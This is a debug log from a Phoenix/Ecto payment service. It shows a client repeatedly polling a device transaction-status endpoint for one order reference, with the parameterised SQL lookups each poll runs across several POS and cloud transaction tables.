SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 12:36:52.057000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:37790] QUERY OK source="pos_temp_transaction" db=2.1ms queue=0.4ms idle=1264.4ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 12:36:52.062000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:37790] QUERY OK source="pos_failed_transaction" db=3.7ms queue=0.4ms idle=997.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 12:36:52.063000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:37790] QUERY OK source="cloud_transaction" db=0.6ms idle=1001.8ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 12:36:52.063000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:37790] Sent 200 in 30ms
[Thu Sep  3 12:36:57.189000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:38182] POST /api/device/status
[Thu Sep  3 12:36:57.190000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:38182] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch889241839013", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 12:36:57.190000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:38182] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch889241839013", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 12:36:57.190000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:38182] Transaction reference number: "ch889241839013"
[Thu Sep  3 12:36:57.214000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38182] QUERY OK source="pos_transaction" db=23.4ms idle=1128.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 12:36:57.215000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38182] QUERY OK source="pos_temp_transaction" db=0.7ms idle=1152.1ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 12:36:57.218000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38182] QUERY OK source="pos_failed_transaction" db=2.5ms idle=402.0ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 12:36:57.219000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38182] QUERY OK source="cloud_transaction" db=0.4ms queue=0.1ms idle=348.8ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 12:36:57.219000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:38182] Sent 200 in 29ms
[Thu Sep  3 12:37:02.019000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:38186] POST /api/device/status
[Thu Sep  3 12:37:02.021000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:38186] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch889241839013", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 12:37:02.022000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:38186] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch889241839013", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 12:37:02.022000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:38186] Transaction reference number: "ch889241839013"
[Thu Sep  3 12:37:02.057000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38186] QUERY OK source="pos_transaction" db=27.4ms idle=966.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 12:37:02.063000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38186] QUERY OK source="pos_temp_transaction" db=5.7ms idle=994.2ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 12:37:02.074000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38186] QUERY OK source="pos_failed_transaction" db=10.0ms queue=0.8ms idle=999.6ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 12:37:02.076000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38186] QUERY OK source="cloud_transaction" db=1.0ms queue=0.1ms idle=1010.8ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 12:37:02.076000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:38186] Sent 200 in 56ms
[Thu Sep  3 12:37:07.074000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:38196] POST /api/device/status
[Thu Sep  3 12:37:07.074000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:38196] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch889241839013", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 12:37:07.078000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:38196] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch889241839013", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 12:37:07.078000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:38196] Transaction reference number: "ch889241839013"
[Thu Sep  3 12:37:07.100000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38196] QUERY OK source="pos_transaction" db=21.3ms idle=997.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 12:37:07.101000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38196] QUERY OK source="pos_temp_transaction" db=0.8ms queue=0.1ms idle=1019.4ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 12:37:07.111000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38196] QUERY OK source="pos_failed_transaction" db=9.7ms queue=0.1ms idle=249.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 12:37:07.117000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38196] QUERY OK source="cloud_transaction" db=4.7ms queue=0.1ms idle=213.8ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 12:37:07.119000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:38196] Sent 200 in 45ms
[Thu Sep  3 12:37:12.063000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:39100] POST /api/device/status
[Thu Sep  3 12:37:12.064000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:39100] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch889241839013", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 12:37:12.064000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:39100] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch889241839013", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 12:37:12.064000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:39100] Transaction reference number: "ch889241839013"
[Thu Sep  3 12:37:12.080000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:39100] QUERY OK source="pos_transaction" db=15.1ms idle=995.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 12:37:12.081000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:39100] QUERY OK source="pos_temp_transaction" db=0.4ms idle=1011.1ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 12:37:12.085000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:39100] QUERY OK source="pos_failed_transaction" db=3.6ms idle=1011.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 12:37:12.087000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:39100] QUERY OK source="cloud_transaction" db=1.1ms idle=1016.0ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch889241839013"]
